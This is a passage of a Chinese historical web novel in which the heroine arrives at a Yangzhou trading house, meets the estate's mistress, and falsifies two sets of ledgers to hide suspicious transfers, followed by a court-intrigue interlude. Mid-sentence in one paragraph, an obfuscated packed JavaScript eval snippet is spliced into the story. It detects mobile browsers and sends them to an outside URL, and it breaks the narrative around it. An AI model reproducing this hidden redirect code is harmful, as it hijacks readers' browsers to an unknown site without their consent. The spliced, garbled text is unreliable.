安国公挣得胡子都在抖，好不容易将人拉开了，他理一理朝服没好气道：“老夫从未去过辽东。” 花蝴蝶极力与他分说：“您是贵人多忘事！咱们烤着野猪喝着酒的时候，您还说要认我当干儿子——哎哎，别拖我啊，我话还没说完呢。” 他被人拖到殿门口，又滑溜地逃过，顺手拉着正在敬酒的侍郎，说人家“器宇轩昂”非要跟人家结拜为兄弟。那侍郎酒还未敬完，就被花蝴蝶这么半路杀出，此时一脸尴尬端着杯盏动也不敢动。 花蝴蝶闹过一圈最终竟将目光投注到龙椅上，先将皇帝吹捧一番，随后对宋文楚道：“殿下！臣观殿下凤姿龙章日后必有大福！臣敬殿下一杯！”夺过那侍郎的杯盏还不忘将自己的空盏塞进他手里。 宋文楚捏住蓼花糖咬得开心才没空理会他的奉承，永安帝笑着摇摇头，似嗔非恼：“成何体统。” 最后由鸿胪寺卿亲自出马将他拽离了奉天殿，花蝴蝶还笑呵呵朝群臣挥着手“改日再来”。 宋文楚心里只有一个念头，只盼着他不要认出自己，不要认出。 那边沈幼安应付花蝴蝶也是一阵腻烦，这位知府像是记忆有缺似的，来回不住重复那几句车轱辘话。 耐心告罄，沈幼安匆匆将他打发：“……大人若是有暇，只管来便是。” “好好好，那下官一定到一定到！”花蝴蝶又说了几句客套话，这才高高兴兴地哼着小调走了。 沈幼安忙再去看宋文楚身侧，希 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沈幼安站骡马边上正给老王核对货单，那几个行商伙计也在忙碌着卸货。宋文楚踌躇片刻，扬州府她是到了，然而汇通号在哪儿却还不知道，她甚至连去汇通号要干嘛也不清楚，狗剩只说了个名字旁的什么都没交代。 这几个行商经常在扬州来往奔走，向他们询问或许能打探到一点消息。 宋文楚等他们对单的对完，卸货的卸完才开口：“诸位叔伯们，我想打听个叫‘汇通号’的地方，你们知道这是在哪处吗？” 沈幼安已经把单子收回袖里，听到宋文楚问话顺口为她解了答。 “知道。你顺着这条街往南走到头到鼓楼路，再往北拐走半条街，那间门口挂着黑底金字写着‘汇通’二字的匾就是了。卯时末开门，你辰时去就行。” 宋文楚听得认真，她又追问： “沈郎君可知晓那家商号是做什么营生的？” “汇通号做的是南北货，丝绸香料药材等，有时也会走漕运。在扬州府开了十年了，是本地的金牌老字号。你找它又是做什么？” 宋文楚把想好的说辞端出来：“有个朋友托我去汇通号带个信。” 老王头听了半天，在旁插句嘴：“小兄弟头一回来扬州？” 见宋文楚点头，老王头多加嘱咐几句：“那你可得小心了，扬州城大人也杂，骗子更是遍地大把。你一个人低就着点，可别叫人把银子骗了去。” 说道最后叹口气：“可惜你跟我们不顺道，你去南大街我们往东大街，若不然顺路还能载你一程。” 宋文楚连连摆手“自行前去就好，不敢再叨扰”。 “不过。”沈幼安又道，“汇通号的门槛高，你要是没熟人领着怕是进不去。” “到时候你就报——” 话还未说完呢便被宋文楚打断：“无碍，我在这片地儿也是略有一点人脉的。” 狗剩不会无缘故塞给她一块玉佩，那块玉佩定然是件重要信物，这就是她的底气！ 这群行商的表情有些难言，沈幼安尤甚。 27. 广陵潮讯 他们翻上骡车动了身向东行，宋文楚往南走几步路。 然后她就听到了羽翼扇动的扑棱和“啾啾”声，夹杂在车辙咕噜咕噜滚动间。 熟悉的频次与她的心跳呼应上。 初听及以为是幻觉，可那日日夜夜相处的默契感应却越发真切。 是宋展翅，我的鲲！ 但动静传来的方向竟是自——沈幼安所驱的那辆骡车上！ 可它怎么会在沈幼安的车上？它不是在老母猪庄就丢了吗？是被人捉住了？还是自己飞进来的？还是…… 想不得那么多了，她撒腿就往东边追，两只胳膊甩得奋力。 “等——等一下！” 一顿猛蹿追到骡车屁股后头，沈幼安勒住缰绳，她一头冲到商队车最前，两只手扒住车板哼哧哼哧喘了几口气，老王一脸摸不着头脑：“咋了这是？” “我有个东西落你们车上了！能否通融一下让我找找？”宋文楚指着油布底下的货。 她心里忐忑着承望应许会被拒绝，毕竟这番举动实在是不太礼貌又麻烦人，可若不顾就此离开她更是不甘，为着这点祈盼她只得开这个口问。 果然—— “不妥。这都已经进了扬州地界，”依是被沈幼安回绝，“东家那头还等着交割货物，再耽搁怕要误了时辰。” 商队赶路时辰都是算好的，掐着点儿到了地方首要任务就是前往交接，哪有停在半道上等你翻箱倒柜的道理。 他话是这么说，不过宋文楚扒在车板上的手仍是没松开，她俯耳去听，离得这样近却再没了半点生息，昭示不过错觉一场。 宋文楚脑袋贴在车上，侧着头看沈幼安：“我只消瞧一眼就好了，看完就走不会乱动东西的，可以么？” 后面的老王头动了动嘴唇，但到底还是没出声。 看一眼也不是什么大事，沈幼安应了声“行”随即翻身下来，捏住油布一角掀开。 宋文楚心悸地厉害，睁大眼睛将那堆货不遗巨细扫过一遍，两遍……终于—— 她的手从车上滑下来朝后退了两步，沈幼安将油布重新拢好。 沈幼安问：“你丢了什么物件？” “一只灰色长得像鱼的鸟，约莫就这么大点儿。”宋文楚手指比划给他看。 可沈幼安只是静静听着，神情并无异样，他偏头想了想：“这一路倒不曾见过有鸟跟着。” “这是什么鸟？听着是个稀罕物。不过也没见你带着身边哇，更没听见有鸟叫唤，是记岔了吧？”老王头好奇了。 “呃，许是记岔了吧。”人家看让她看了也确实没找着，便不多在此事上纠葛，她就顺着老王的话说了。 沈幼安将宋文楚悒悒不乐的样子看在眼里，沉吟片刻对她道：“这样吧，横竖都在扬州城里，回头货卸下来我替你再仔细查一查。若真有你的东西，差人给你送去汇通号便是。” 宋文楚打起一丝精神，抱一抱拳：“多谢沈郎君。” 沈幼安不再多言依样拱了下手再一甩缰绳，骡马又踢踢踏踏地往前走。老王头同她挥手道别，其余随行人员目不斜视陆续而过。 蹄声沓沓，车轮辘辘，往城东的街巷里去了。 宋文楚摸到汇通号门上时又累又饿，先前在商铺街摊子前买了两张烧饼垫了肚，却不想这么一垫反倒打开了胃口。现在一阵阵地催着叫，让宋文楚面上好不羞赧。 三开间的门面排场，左右各蹲着一只石貔貅，雕工精细，头角肩翼，神威凛凛。 不得不说这汇通号的门槛是真的很高，她跨进去的时候还被绊了一跤。 掌柜迎上来，假装没见到她的窘态：“客官办什么业务？” 宋文楚说不出她要来作甚，于是一句话未讲直接亮出玉佩。 一路上不合宜的时候她没敢看，合宜时又忘记看，一直没仔细瞧过，眼下她可算堂堂正正打量起。 形为一弯衣襟状，玉石是糖白山料，只打磨了表面而保留一部分的原始石皮，但美中不足的是一道裂痕自石皮蜿蜒而下，却又独具匠心以金缮之，竟别有一番雅韵。 正面以篆书刻有“衣”字。 掌柜望见玉佩的那刻整个人都顿住了，他用帕子包了玉佩托起来，小心地拿拇指和食指捏住玉佩两边对着光看。 “客官请稍等。”他恭敬着将玉佩双手递还给宋文楚，“客官怎么称呼？” “楚文？不对，哭震天。”宋文楚挺起胸膛。 屋内安静了一瞬。 嘿，宋文楚瞧见掌柜的嘴在抖呢，笑便笑罢！狗剩说得没错，果然她这名号报出来就叫人抖三抖，别管是因为什么抖。 掌柜沉默之后也释然了，甭管他叫哭震天，就是叫“雷劈天”“电闪地”“龙王发大水”，他也会恪尽职守之德，泰山崩于面前而不改色，绝不闲话半个字！ “……好名字很有气魄，哭震天这边请。” 掌柜撩起柜台旁边的帘子，引着宋文楚往后走。过道两边堆着南北货的样品，有捆好的绸缎，封条的药材匣子，晾晒的陈皮桂圆，还有些说不上名来的香料气息，味道混一处腌出怪味，宋文楚打了个喷嚏。 他们进了一间包厢，掌柜请她在圆桌旁坐下为她斟了一杯茶。 “您先在此处歇一歇喝口茶，我这去请东家过来。”出去时不忘将门轻带上。 宋文楚又摸出那块玉佩来看。 乖乖，这玉佩什么来头，竟还要惊动汇通号背后的东家？ 原石胎胚，又以金丝勾裂痕，是为侘寂，此乃自东瀛传来的讲究。啧，不过就狗剩那副样子，实在不像懂什么侘寂的人，这玉佩定不是他的。 上面是个衣字，玉佩又是一弯衣襟的形状，这是什么意思呢？她又把玉佩翻过来，不过背面没刻字，只有糖色在白底上氤氲开来的纹路。 不多会儿，外头廊间传来脚步响，宋文楚当即正襟危坐双手叠在腿面上，觉着太过拘谨，两只手重新搭回桌面，似乎又太过随意。 最后她把手往袖子里一揣，腰板挺直，不管了就这样吧。 门被推开了—— 宋文楚站起身。 又败兴坐下往椅背上一靠，翻了个白眼，心里有点烦躁。她等的是东家不是掌柜的，这人怎么又回来了？碍事。 掌柜的却没进来，他退到一旁弯下腰做个请的手势。 宋文楚先是看到门框搭上一只手，腕子上笼的白玉镯碰到 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周庄主迈过门槛走进来，掌柜也识趣退下了，伏雪抿着嘴将门关上。 此刻宋文楚体会到了何为人生四喜之他乡遇故知，又惊又喜，她眼泪汪汪又笑得乱七八糟地再次没克制住一下子扑上去，环住周庄主的腰，好在这次收敛了嘴里没再蹦出一句要命的“母妃”。 周庄主被她撞得往退后两步，笑盈盈揽住她肩拍了拍，宋文楚像只狗崽子似的蹭在她衣上扭来扭去。 伏雪靠在门框上，抱着胳膊口中啧啧连声，赞叹自己给她起的名号哭震天当真不赖，再合适不过了。 平复下来心情，三人坐到圆桌边，周庄主先开了口：“庄上出事了？” 宋文楚把那日韩山突访庄子查账的事详尽倒了出来，末了道：“狗剩哥塞给我这块玉佩，只道让我来扬州府汇通号。” 她把玉佩摸出来搁在桌上，周庄主只瞧了一眼，视线又重新回到宋文楚脸上。 宋文楚还在急急说着：“韩山那厮还狂言说半月之内若拿不出证据，就要按窝藏逃犯的罪名把您收监。庄主，现在该怎么办呐？” 周庄主：“孩子先别着急，你过来的路上想过没有，他为什么让你来这儿而不是让你去别的地方？” “想过，原先我摸不着头脑，现在见着您了，我猜是想让我来搬救兵的。”宋文楚如实说。 周庄主笑了笑，耐心问她：“救自然是要救，可你得先告诉我，韩山抓人图什么？” 宋文楚低下头，将那夜对账的细节回忆起来，记忆节点落到那笔存疑以‘药材采购’名义的另外支出时她豁然开朗。 她猛然抬头。 “他图的是那笔药材的账！汇通号既然也是您的地方，所以庄上的银子是转进汇通号了对不对？” 韩山手里有马三哥的私账，那上面一定记了这笔银子的事。只要坐实庄子和汇通号之间有不明不白的银钱往来，他就能把罗列出的“私囤粮草、账目不明、窝藏逃犯”三条罪名焊死在一起。 抓人不过是为了逼庄主现身，逼这条线浮出水面。 28. 尺素来仪 “所以狗剩让我来扬州府，搬救兵还是其次，最重要是让我来做账。”她可是庄上唯一的账房先生了，不然怎么不让别人来，偏让她来呢？ 周庄主眼中透着赞许，鼓励她继续说。 宋文楚脑子飞快转动，张先生的旧账本和韩山手里马三哥的私账是对不上的。 摆在她面前的有两条路子，其一把那笔药材的账从账本上抹掉，同时断了和汇通号这边的往来。然而抹掉字容易，可抹掉之后庄子上的银子该往哪儿安去？ 庄子近年来的进项太惹人眼红了，银子若全留在庄上就会成为明账，明账危险，这不连转移后的账都被韩山之流给盯上了。 其二便是做成经得起查的正经生意，她比较倾向于这条，可行性较高。 不过现在具体怎么改她还没想好，她需要先看过汇通号的底账，心里才好琢磨两边的账究竟怎么对上。 周庄主听她说完自己的思量，抬手为她鼓掌：“好聪明的孩子，说得不错。”又似自嘲般，“张先生的账记了四年期间也从未被查过，你来了这半个月倒是多事之秋，净把旧账全翻出来了，真是……” 这话听着感觉怪怪的，宋文楚还在揣度着其中深意，旁边周庄主将宋文楚那杯凉掉的茶倒进茶海，再斟了一杯热的推到她手边。 “手怎么蹭破了？”周庄主瞧见她手指指节处蹭掉一块皮，现在伤处已经结成血痂了。 宋文楚扫了一眼，撇撇嘴不甚在意。 “不碍事，想是路上在哪儿蹭了一下。”先前攀沈幼安的骡车时蹭的。 周庄主走到一只多宝格跟前，拉开最底下那层抽屉取出盒药膏。 “手伸过来吧。” 宋文楚捏着茶杯推辞了一下，又抬眼觑周庄主，期待她再次邀请。 周庄主怎会不明白她小心思，笑着摇摇头将她的手拉过来。 “扬州潮湿，小伤口不收拾恐易溃脓。” 用小银匙剜了块药膏点在破皮处，再以指腹轻轻揉开，有一点刺痛。宋文楚缩缩脖子急遽掀眼皮望周庄主一下，又低头盯着动作的手。 “多谢庄主。”宋文楚嘿嘿一笑，冒着点傻气。 再问了点宋文楚近况，周庄主便让伏雪带着她先行用餐再去周边玩玩，看账的事明日再说。 宋文楚走到门口时又停下回过头问：“要不要先将人从牢里保释出来，平账也不是一时半会儿的事，万一狗剩他们撑不住呢？” 周庄主不置可否：“韩明远要的是我，在我出现之前都他们不会有事的。” 她们走后房内剩下周庄主一人，她拾起玉佩，慢慢收紧握在掌心。 晚上宋文楚躺在床上滚来滚去，脑子里还在转着账目的事，她又把庄上的进项从头捋了一遍。 粮食、山货、药材。粮食是大头，买家都是县里的老顾客粮商了，突然换成一个扬州的商号实在诡异，把韩山当傻子哄呢？ 药材更不用说，韩山已经盯上这条线了碰都不能碰。 剩下的就是山货。庄上后山那片林里每年产的山货数量不少，卖得也挺好。而且呀最关键是，山货的买家并不像粮食那么固定，你今年乐意卖给甲，明年想卖给乙，后年再卖给丙，铁打的老母猪庄流水的买家。 行，那就山货。反正山货是庄上自己产的，成本低卖多卖少的没法说。韩山就算查，也查不出什么大毛病。 可思来想去，汇通号与老母猪庄这都相隔几百里了，大老远跑去老母猪庄收山货，还是不太说得通啊。 除非……有中间商！ 宋文楚立即联想到一个名字：千秋岁。 她跟随来扬州的那支商队就是千秋岁底下的，或许她可以联络沈幼安试试搭上这条线？ 至于千秋岁在清水镇有没有分号？她不知道，但若千秋岁这样的商人愿意加盟，镇里那些个山货商牙肯定是要笑掉了。 她越想越觉得这条线走得通。韩山到时候要查，查到汇通号也没事反正她账也做平了。他要是再往下查到千秋岁头上，那更不怕了。 千秋岁是扬州府的纳税大户，官府都要给几分面子，韩山一个县丞敢动千秋岁的账？ 在船上时候她可是瞧见了沈幼安对花蝴蝶的敷衍态度，千秋岁底下人连扬州府知县都不放在眼里，韩山他又算个什么东西？哼！ 行，宋文楚捋明白了心情一顿通畅，明天再仔细看看底账上有没有千秋岁的名字，有最好，没有她只能请托沈幼安了。 次日一早，掌柜引她进了账房。近几年的账本都被分门别类归好摞在一只大木箱内，宋文楚分批搬到桌上，再把自己揣的那几本老母猪庄旧账本掏出并排摊在旁边。 一页页翻着汇通号的底账，字字都看得细致，宋文楚一边用手扒在账上点，一边眼睛来回地往两边扫，想着法儿的把数目往一块凑。 比对了大半个时辰，终于翻到了她要找的那页。 宋文楚皱起了眉。 庄上记的“采购药材”账对在汇通号底账上竟然写的是“代购”，代购的都是些农具牲口什么，银两更是比正常开销多出来一大截，她把这些零零碎碎都加起来一算，总体银两是跟底账以及庄上都对得上的。 怕是随便编了个名目，庄上用名目将银子送出去，汇通号用名目把银子收进来，结果两边又各编各的，从来就没对过。 那这笔银子后来去了哪儿呢？ 她在底账中翻找着蛛丝马迹，最终她发现汇通号的底账上那些转到汇通号的银子，并没有全部留在汇通号。 一部分确实用于做正经生意，有明白的账可查。而另一部分去向写着“调拨”，调拨里还有银两是来自汇通号本身，数目大得令人瞠目结舌。 所以这些银子不是真的花了，或许是是借着这名目转出去，又转到哪儿了？究竟是用于什么途径需要这么多银两呢？ 宋文楚有些不敢深思下去，至于调拨途径她没法管，也管不着，只消把庄上和汇通号相关联这条线做平就好了。 望着这浩大的工程量，她深吸一口气提过笔，在空纸上重新编出一条能把两边串起来的线。 先给庄上的“药材采购”改成“山货销售”，汇通号绸缎茶叶的账也调成山货，再把各项山货修改名目，数目银两往汇通号的山货上靠。 调换品名在账面上不难，只要总数对得上反正契书和票据后面再补就是了。 这种活做的多了，宋文楚也颇为得心应手。 平账的方法想到了，至于具体的买家……她没找到千秋岁的名字，只能找沈幼安搭线了。 门被敲响的时候，宋文楚正埋着头写拜帖，来人是伏雪。她跑得很急，扶着门框唷唷喘着息：“哭震天，你看到庄主了么？” “没呀，我从早上起来就没见着她，怎么了？” “到处找遍了，怎么就都没找着人呢……”伏雪锤了下门框，懊恼着呢喃。 宋文楚搁下笔：“庄主兴许出去办事去了？没准一会儿留回来了，你想想她平常都会去哪里？” 能去哪里呢……她答应过不会—— 伏雪想起昨日周庄主说的“在我出现之前，他们不会有事”，面色当即变得煞白，表情连换了几番。 “庄主是去九庐县衙救人了。”她想起那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17447247|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人对她的吩咐，又惦着庄主对她的叮嘱，一时间竟不知该遵向哪边。 救人便救人罢，宋文楚莫名，怎么一说救人伏雪脸色这么难看？就仿佛庄主去了回不来似的。 只是她这账还没做完呢，庄主就这样急着过去能行么？不过毕竟都是庄上的庄客，账目怎么也碍不着他们什么事，韩山想要的不就是银子，庄主交点银子将人赎出，她再尽快把平完的账送去便好了。 那边伏雪转身丢下一句“我去码头找找”便走了。 宋文楚晃晃头，继续写拜帖。这张不行，写错了个字，撕掉。这张也不行，语气过于生硬，撕掉。这张更不行了，殷勤得跟自己求着他似的，撕掉！ 措辞掂了又掂，最后一笔“有事相商，诚邀会见一面”落下，她抖一抖举高吹干墨迹，言语不卑不亢，文采斐然，总算写出一张她觉得满意的拜帖了，宋文楚甚是欣慰。 拿着拜帖出了账房，宋文楚走到柜台前，将拜帖递过去。 “掌柜的——”不对，拜帖地址投哪儿呢？她似乎到现在还不知道沈幼安落脚在何处。 掌柜一见她，立马哎呀一声：“你来得正好！一早有差人送来这个，说是给你的。” 他从架子上取下一只信封，上书楚文亲启。宋文楚拆开信，里头塞了张洒金笺，字迹清瘦笔意疏朗，写字之人很惜笔墨，能一笔写完的绝不用两笔，似乎还有些眼熟。 内容寥寥：三日后，千秋岁备薄酌，恭候。 落款署名都没有。 宋文楚一猜就知是谁，整个扬州城她认识的人没几个，知道她叫楚文的也没几个，跟千秋岁搭嘎的她又就只晓得那一个。 她正愁怎么找沈幼安，眼下帖子就送到了跟前，真是踏破铁鞋无觅处，得来全不费工夫呐。 掌柜抓着宋文楚写的拜帖，正过来反过去看看：“楚姑娘，这帖子是送到——” 宋文楚身子一倾伸手就将拜帖抽回来，折了和洒金笺叠一处塞进袖子里。 “现在不用送啦，谢谢掌柜的。” …… 迩来，临王宋明臣奏请整军经武，于京畿添设新军三营，兵士皆从王府旧部中选任。太子党御史中丞韩昭上书，言“京畿兵权不宜过于集中”，宋明臣只将奏章留中不发。三日后，韩昭便因“督查不力”之名被贬出京城发配岭南。 太子亦未闲，于东宫召募幕僚，其素有“江左才子”之称的段怀书入东宫任洗马之职。朝堂中传言太子欲借此笼络江南士族，然东宫对此不置可否。 时值隆冬，宋明臣于城郊举行冬狩邀太子同往，太子称病不出只遣东宫属官代为前往。猎场上，宋明臣连发三箭皆中靶心，乃顾谓左右曰：“本王尚能骑射，太子正当盛年又何以称病？”在场之人面面相觑，无一人敢应声。 帝疾笃无能视朝已久，太子宋清让监国于东宫，临王宋明臣执掌机要于内廷。两府明争暗斗持久，朝野上下暗流涌动，朝臣或附东宫或投王府，门庭若市，弹章与保奏齐飞，恩赏并贬谪迭出。 顾庸时任扬州知府，守着东南财赋重地，两党皆欲引其为外援，前有太子党遣人说许以三品京官，后有临王党亮出密函言“王甚重公”。 顾庸设宴款待来使，忽然举杯朝着王都方向，一把鼻涕一把眼泪：“下官蒙帝简拔，唯盼圣上龙体早康复重亲万机！至于其他，非下官所敢闻也！”言罢，击箸而歌“天威咫尺”，声泪俱下，来使不能强。 自此，两党皆知顾庸乃滑不溜秋滚刀肉，遂暂且将此人搁置。 腊月既望，扬州大雪。商人千秋岁设生辰宴于城南别业，柬帖遍洒，名流云集。